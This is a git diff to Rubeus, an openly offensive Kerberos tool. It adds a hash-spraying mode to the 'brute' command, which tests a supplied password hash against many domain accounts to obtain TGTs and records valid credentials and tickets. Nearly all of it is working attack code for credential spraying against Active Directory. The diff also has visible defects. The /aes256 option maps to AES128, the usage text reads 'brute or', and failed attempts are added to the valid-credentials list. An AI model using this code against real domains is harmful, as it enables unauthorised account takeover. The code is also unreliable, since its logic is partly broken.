diff --git a/README.md b/README.md index 2effb871..d6ccbe54 100755 --- a/README.md +++ b/README.md @@ -124,8 +124,8 @@ Rubeus is licensed under the BSD 3-Clause license. Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit: Rubeus.exe renew [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap] - Perform a Kerberos-based password bruteforcing attack: - Rubeus.exe brute [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap] + Perform a Kerberos-based password or hash bruteforcing attack: + Rubeus.exe brute or [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap] Perform a scan for account that do not require pre-authentication: Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy] diff --git a/Rubeus/Commands/Brute.cs b/Rubeus/Commands/Brute.cs index da23dbeb..57d9323a 100644 --- a/Rubeus/Commands/Brute.cs +++ b/Rubeus/Commands/Brute.cs @@ -28,6 +28,10 @@ public class Brute : ICommand private string outfile = ""; private uint verbose = 0; private bool saveTickets = true; + private bool hashspray = false; + private string hash = ""; + // old_exp here means null placeholder + private Interop.KERB_ETYPE enctype = Interop.KERB_ETYPE.old_exp; protected class BruteArgumentException : ArgumentException { @@ -49,17 +53,19 @@ public void Execute(Dictionary arguments) this.outfile, this.verbose, this.saveTickets); Bruteforcer bruter = new Bruteforcer(this.domain, this.dc, consoleReporter); - bool success = bruter.Attack(this.usernames, this.passwords); + bool success = bruter.Attack(this.usernames, this.passwords, this.hash, this.hashspray, this.enctype); if (success) { if (!String.IsNullOrEmpty(this.outfile)) { Console.WriteLine("\r\n[+] Done: Credentials should be saved in \"{0}\"\r\n", this.outfile); - }else + } + else { Console.WriteLine("\r\n[+] Done\r\n", this.outfile); } - } else + } + else { Console.WriteLine("\r\n[-] Done: No credentials were discovered :'(\r\n"); } @@ -80,7 +86,16 @@ private void ParseArguments(Dictionary arguments) this.ParseOU(arguments); this.ParseDC(arguments); this.ParseCreds(arguments); - this.ParsePasswords(arguments); + if (arguments.ContainsKey("/hash")) + { + this.ParseHashSpray(arguments); + this.hashspray = true; + } + else + { + this.ParsePasswords(arguments); + this.hashspray = false; + } this.ParseUsers(arguments); this.ParseOutfile(arguments); this.ParseVerbose(arguments); @@ -112,7 +127,8 @@ private void ParseDC(Dictionary arguments) if (arguments.ContainsKey("/dc")) { this.dc = arguments["/dc"]; - }else + } + else { this.dc = this.domain; } @@ -140,6 +156,38 @@ private void ParseCreds(Dictionary arguments) } } + private void EnsureEncType(Dictionary arguments) + { + if (arguments.ContainsKey("/rc4")) + { + this.enctype = Interop.KERB_ETYPE.rc4_hmac; + } + else if (arguments.ContainsKey("/aes128")) + { + this.enctype = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (arguments.ContainsKey("/aes256")) + { + this.enctype = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; + } + else if (arguments.ContainsKey("/des_cbc_md5")) + { + this.enctype = Interop.KERB_ETYPE.des_cbc_md5; + } + else if (arguments.ContainsKey("/des3_cbc_md5")) + { + this.enctype = Interop.KERB_ETYPE.des3_cbc_md5; + } + else if (arguments.ContainsKey("/des3_cbc_sha1")) + { + this.enctype = Interop.KERB_ETYPE.des3_cbc_sha1; + } + else + { + throw new BruteArgumentException( + "[X] You must supply supported encryption type! Use /(rc4|aes128|aes256|des_cbc_md5|des3_cbc_md5|des3_cbc_sha1) "); + } + } private void ParsePasswords(Dictionary arguments) { @@ -148,7 +196,9 @@ private void ParsePasswords(Dictionary arguments) try { this.passwords = File.ReadAllLines(arguments["/passwords"]); - }catch(FileNotFoundException) + this.EnsureEncType(arguments); + } + catch (FileNotFoundException) { throw new BruteArgumentException("[X] Unable to open passwords file \"" + arguments["/passwords"] + "\": Not found file"); } @@ -156,6 +206,7 @@ private void ParsePasswords(Dictionary arguments) else if (arguments.ContainsKey("/password")) { this.passwords = new string[] { arguments["/password"] }; + this.EnsureEncType(arguments); } else { @@ -164,13 +215,29 @@ private void ParsePasswords(Dictionary arguments) } } + private void ParseHashSpray(Dictionary arguments) + { + if (arguments.ContainsKey("/hash")) + { + this.hash = arguments["/hash"]; + this.EnsureEncType(arguments); + } + else + { + throw new BruteArgumentException( + "[X] You must supply a hash and encryption type! Use /hash:"); + } + } + private void ParseUsers(Dictionary arguments) { if (arguments.ContainsKey("/users")) { - try { + try + { this.usernames = File.ReadAllLines(arguments["/users"]); - }catch (FileNotFoundException) + } + catch (FileNotFoundException) { throw new BruteArgumentException("[X] Unable to open users file \"" + arguments["/users"] + "\": Not found file"); } @@ -207,13 +274,13 @@ private void ParseSaveTickets(Dictionary arguments) private void ObtainUsers() { - if(this.usernames == null) + if (this.usernames == null) { this.usernames = this.DomainUsernames(); } else { - if(this.verbose == 0) + if (this.verbose == 0) { this.verbose = 1; } @@ -235,7 +302,7 @@ private string[] DomainUsernames() { throw new BruteArgumentException("[X] Credentials supplied for '" + userDomain + "' are invalid!"); } - + directoryObject.Username = userDomain; directoryObject.Password = this.credPassword; @@ -260,7 +327,8 @@ private string[] DomainUsernames() } return usernames.Cast().Select(x => x.ToString()).ToArray(); - } catch(System.Runtime.InteropServices.COMException ex) + } + catch (System.Runtime.InteropServices.COMException ex) { switch ((uint)ex.ErrorCode) { @@ -287,7 +355,7 @@ private string DomainController() { domainController = Networking.GetDCName(); - if(domainController == "") + if (domainController == "") { throw new BruteArgumentException("[X] Unable to find DC address! Try it by providing /domain or /dc"); } @@ -327,8 +395,6 @@ private bool AreCredentialsValid() } } - - public class BruteforceConsoleReporter : IBruteforcerReporter { @@ -381,10 +447,15 @@ public void ReportBlockedUser(string domain, string username) public void ReportKrbError(string domain, string username, KRB_ERROR krbError) { - Console.WriteLine("\r\n[X] {0} KRB-ERROR ({1}) : {2}\r\n", username, + Console.WriteLine("\r\n[X] {0} KRB-ERROR ({1}) : {2}\r\n", username, krbError.error_code, (Interop.KERBEROS_ERROR)krbError.error_code); } + public void ReportInvalidPassword(string domain, string username, string password, string hash) + { + Console.WriteLine("[-] Invaild Password user => {0}:{1}:{2}", username, password, hash); + } + private void WriteUserPasswordToFile(string username, string password) { @@ -397,7 +468,8 @@ private void WriteUserPasswordToFile(string username, string password) try { File.AppendAllText(this.passwordsOutfile, line); - }catch(UnauthorizedAccessException) + } + catch (UnauthorizedAccessException) { if (!this.reportedBadOutputFile) { @@ -409,7 +481,7 @@ private void WriteUserPasswordToFile(string username, string password) private void HandleTicket(string username, byte[] ticket) { - if(this.saveTicket) + if (this.saveTicket) { string ticketFilename = username + ".kirbi"; File.WriteAllBytes(ticketFilename, ticket); @@ -445,7 +517,3 @@ private void PrintTicketBase64(string ticketname, byte[] ticket) } } - - - - diff --git a/Rubeus/Domain/Info.cs b/Rubeus/Domain/Info.cs index 5eab79a5..ef186b9c 100755 --- a/Rubeus/Domain/Info.cs +++ b/Rubeus/Domain/Info.cs @@ -50,8 +50,8 @@ public static void ShowUsage() Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit: Rubeus.exe renew [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap] - Perform a Kerberos-based password bruteforcing attack: - Rubeus.exe brute [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap] + Perform a Kerberos-based password or hash bruteforcing attack: + Rubeus.exe brute or [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap] Perform a scan for account that do not require pre-authentication: Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy] diff --git a/Rubeus/lib/Bruteforcer.cs b/Rubeus/lib/Bruteforcer.cs index d19e1fde..24aa77b6 100644 --- a/Rubeus/lib/Bruteforcer.cs +++ b/Rubeus/lib/Bruteforcer.cs @@ -1,5 +1,7 @@ using System; using System.Collections.Generic; +using Rubeus.Commands; +using Rubeus.lib.Interop; namespace Rubeus { @@ -11,6 +13,7 @@ public interface IBruteforcerReporter void ReportInvalidUser(string domain, string username); void ReportBlockedUser(string domain, string username); void ReportKrbError(string domain, string username, KRB_ERROR krbError); + void ReportInvalidPassword(string domain, string username, string password, string hash); } @@ -34,30 +37,42 @@ public Bruteforcer(string domain, string domainController, IBruteforcerReporter this.validCredentials = new Dictionary(); } - public bool Attack(string[] usernames, string[] passwords) + public bool Attack(string[] usernames, string[] passwords, string hash, bool hashspray, Interop.KERB_ETYPE enctype) { bool success = false; - foreach (string password in passwords) + if (hashspray) { foreach (string username in usernames) { - if(this.TestUsernamePassword(username, password)) + if (this.TestUsernamePassword(username, "", hash, hashspray, enctype)) { success = true; } } } - + else + { + foreach (string password in passwords) + { + foreach (string username in usernames) + { + if (this.TestUsernamePassword(username, password, hash, hashspray, enctype)) + { + success = true; + } + } + } + } return success; } - private bool TestUsernamePassword(string username, string password) + private bool TestUsernamePassword(string username, string password, string hash, bool hashspray, Interop.KERB_ETYPE enctype) { try { if (!invalidUsers.ContainsKey(username) && !validCredentials.ContainsKey(username)) { - this.GetUsernamePasswordTGT(username, password); + this.GetUsernamePasswordTGT(username, password, hash, hashspray, enctype); return true; } } @@ -65,34 +80,49 @@ private bool TestUsernamePassword(string username, string password) { return this.HandleKerberosError(ex, username, password); } + catch (RubeusException ex) + { + Console.WriteLine("\r\n" + ex.Message + "\r\n"); + } return false; } - private void GetUsernamePasswordTGT(string username, string password) + private void GetUsernamePasswordTGT(string username, string password, string pwhash, bool hashspray, Interop.KERB_ETYPE etype) { - Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; - string salt = String.Format("{0}{1}", domain.ToUpper(), username); - - // special case for computer account salts - if (username.EndsWith("$")) + Interop.KERB_ETYPE encType = etype; + string hash = ""; + if (hashspray) { - salt = String.Format("{0}host{1}.{2}", domain.ToUpper(), username.TrimEnd('$').ToLower(), domain.ToLower()); + hash = pwhash; } + else + { + string salt = String.Format("{0}{1}", domain.ToUpper(), username); + // special case for computer account salts + if (username.EndsWith("$")) + { + salt = String.Format("{0}host{1}.{2}", domain.ToUpper(), username.TrimEnd('$').ToLower(), domain.ToLower()); + } - string hash = Crypto.KerberosPasswordHash(encType, password, salt); - - AS_REQ unpwAsReq = AS_REQ.NewASReq(username, domain, hash, encType); - - byte[] TGT = Ask.InnerTGT(unpwAsReq, encType, null, false, this.dc); + hash = Crypto.KerberosPasswordHash(encType, password, salt); + } - this.ReportValidPassword(username, password, TGT); + byte[] TGT = null; + TGT = Ask.TGT(username, this.domain, hash, encType, "", false); + if (TGT != null) + { + password = hash; + this.ReportValidPassword(username, password, TGT); + } + else + { + this.ReportInvalidPassword(username, password, hash); + } } private bool HandleKerberosError(KerberosErrorException ex, string username, string password) { - - KRB_ERROR krbError = ex.krbError; bool ret = false; @@ -173,5 +203,16 @@ private void ReportKrbError(string username, KRB_ERROR krbError) this.reporter.ReportKrbError(this.domain, username, krbError); } + private void ReportInvalidPassword(string username, string password, string hash) + { + + validCredentials.Add(username, password); + if (!validUsers.ContainsKey(username)) + { + validUsers.Add(username, true); + } + this.reporter.ReportInvalidPassword(this.domain, username, password, hash); + } + } }